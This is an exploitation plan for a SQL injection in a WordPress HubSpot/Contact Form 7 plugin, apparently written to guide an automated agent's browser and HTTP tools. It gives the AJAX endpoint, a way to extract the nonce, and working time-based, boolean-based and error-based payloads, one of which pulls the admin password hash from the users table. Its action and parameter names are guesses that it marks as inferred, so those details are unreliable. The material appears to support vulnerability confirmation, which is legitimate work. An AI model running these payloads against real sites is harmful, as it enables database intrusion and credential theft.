Exploitation Research Plan: CVE-2025-68590 (SQL Injection)

1. Vulnerability Summary

The Integration for Contact Form 7 HubSpot plugin (versions <= 1.4.2) is vulnerable to an authenticated SQL injection. The flaw exists in the administrative interface where user-supplied parameters (likely related to log management or record synchronization) are concatenated directly into SQL queries without being passed through $wpdb->prepare() or being properly cast to integers. This allows an administrator-level attacker to break out of the intended query logic and execute arbitrary SQL commands, potentially leading to sensitive data extraction from the WordPress database.

2. Attack Vector Analysis

• Endpoint: /wp-admin/admin-ajax.php
• Action: hubspot_cf7_delete_log (inferred) or hubspot_cf7_get_sync_details (inferred).
• Vulnerable Parameter: id or log_id (inferred).
• Authentication: Required. Attacker must have Administrator privileges.
• Preconditions: The plugin must be active, and at least one HubSpot synchronization log or record should ideally exist in the database to trigger the relevant code paths.

3. Code Flow (Inferred)

1. Entry Point: The plugin registers an AJAX handler for administrators using add_action('wp_ajax_...', ...).
2. Handler Function: The handler function (e.g., delete_log_callback) is called when admin-ajax.php receives the corresponding action parameter.
3. Input Retrieval: The function retrieves a record identifier from the request: $log_id = $_POST['id'];.
4. Vulnerable Sink: The $log_id is used in a raw SQL string:

   $wpdb->query("DELETE FROM {$wpdb->prefix}hubspot_logs WHERE id = " . $log_id);
   

5. Execution: Because $log_id is not escaped or prepared, an attacker can input 1 OR SLEEP(5) to manipulate the execution.

4. Nonce Acquisition Strategy

Administrative AJAX actions in this plugin are protected by nonces typically localized via wp_localize_script.

1. Identify Shortcode/Page: The admin interface for the plugin is located under the "HubSpot" or "CF7 HubSpot" menu.
2. Navigate: Use browser_navigate to go to /wp-admin/admin.php?page=hubspot-cf7-settings (inferred slug) or the "Logs" page.
3. Extract Nonce: Use browser_eval to find the localized object. Based on common naming conventions in this plugin:
   • Variable: window.hubspot_cf7_obj (inferred)
   • Key: nonce or ajax_nonce (inferred)
   • Command: browser_eval("window.hubspot_cf7_obj?.nonce")

5. Exploitation Strategy

We will perform a Time-Based Blind SQL Injection to confirm the vulnerability.

Step 1: Authentication

Use the http_request tool to log in as an administrator and maintain the session cookies.

Step 2: Discovery & Nonce Extraction

Navigate to the HubSpot logs page to capture the required nonce and identify the exact action string.

• Check for AJAX calls in the background or script tags containing wp_localize_script data.

Step 3: Trigger SQL Injection

Send a POST request to admin-ajax.php with a payload designed to cause a time delay.

• URL: https://[target]/wp-admin/admin-ajax.php
• Method: POST
• Content-Type: application/x-www-form-urlencoded
• Payload (Body):

  action=hubspot_cf7_delete_log&id=1 AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)&_ajax_nonce=[NONCE]
  

  (Note: Replace hubspot_cf7_delete_log and id with the actual action/parameter names discovered in Step 2).

Step 4: Verification

Compare the response time of the payload request against a baseline request (e.g., id=1). A delay of ~5 seconds confirms the injection.

6. Test Data Setup

1. Plugin Configuration: Install and activate "Integration for HubSpot and Contact Form 7" version 1.4.2.
2. Content Creation:
   • Create a Contact Form 7 form.
   • Trigger at least one synchronization attempt (even if it fails) to ensure entries exist in the plugin's internal log table.
   • This ensures the DELETE or SELECT query has a target, though blind injection often works even on empty tables if the syntax is correct.

7. Expected Results

• Baseline Request: Response time < 1 second.
• Exploit Request: Response time >= 5 seconds.
• Response Body: The plugin may return {"success":true} or 1, but the timing is the primary indicator.

8. Verification Steps

After the HTTP exploit, use WP-CLI to verify the database state if necessary, although timing is conclusive for SQLi:

# Check if the hubspot log table exists
wp db query "SHOW TABLES LIKE '%hubspot%';"

9. Alternative Approaches

If time-based injection is throttled or unreliable:

1. Boolean-Based Blind:
   • Payload: id=1 AND (SELECT 1)=1 (Expected: Success/True response)
   • Payload: id=1 AND (SELECT 1)=2 (Expected: Error/False response)
2. Error-Based (if WP_DEBUG is on):
   • Payload: id=1 AND updatexml(1,concat(0x7e,(SELECT user_pass FROM wp_users WHERE ID=1),0x7e),1)
   • Check response body for the database error containing the admin password hash.

(Guessed identifiers like hubspot_cf7_delete_log and hubspot_cf7_obj must be verified by the agent by inspecting the plugin's JavaScript files or admin page source during the discovery phase.)